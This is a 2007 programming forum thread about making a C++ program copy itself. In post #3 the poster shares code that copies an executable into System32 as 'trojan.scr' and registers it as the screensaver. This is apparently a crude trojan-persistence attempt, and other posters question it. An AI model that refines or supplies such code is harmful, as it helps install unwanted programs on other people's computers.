|
-
September 29th, 2007, 01:43 AM
#1
Copying the program to folder
Hello i have this problem. I am making c++ program and i need to make the program create a copy of itself with name copy.exe to folder c:\backup. So how is this done. Thank you in advance!
-
September 29th, 2007, 06:17 AM
#2
Re: Copying the program to folder
Hey,
You can just use the system command.
Code:
system("copy source.txt destination.txt);
So in your case:
Code:
system("copy <filename> C:\\backup\\<filename>");
BageDevimo,
-
September 29th, 2007, 11:31 AM
#3
Re: Copying the program to folder
Thanks! Do you guys and gals see any errors in this code?
#include <iostream.h>
int main() {
system("copy winzip.exe c:\mydownloads");
system("copy winzip.exe c:\mydown~1");
system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
system("RUNDLL32.EXE SHELL32.DLL,SHHelpShortcuts_RunDLL PrintTestPage");
system("copy <winzip.exe> C:\\Winnt\\System32\\<trojan.scr>");
system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");
return 0;
}
-
September 29th, 2007, 04:08 PM
#4
Re: Copying the program to folder
 Originally Posted by wild life
trojan.scr
What's the deal with this?
The code you posted may as well be written as a batch script. The only errors I noticed on the C++ side of things are that <iostream.h> should just be <iostream> and that you should probably include cstdlib for the system function.
-
September 29th, 2007, 05:47 PM
#5
Re: Copying the program to folder
And this.
system("RUNDLL32 DESK.CPL,InstallScreenSaver C:\WINNT\SYSTEM32\trojan.scr");
What are you doing there?
-
September 29th, 2007, 05:58 PM
#6
Re: Copying the program to folder
Haha, that's kind of funny. I thought he might have been making a virus when I saw his first post, this kind of implies that as well :P. This kind of thing might have some uses though, and if it's a trojen, maybe it's just a proof of concept thing?
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|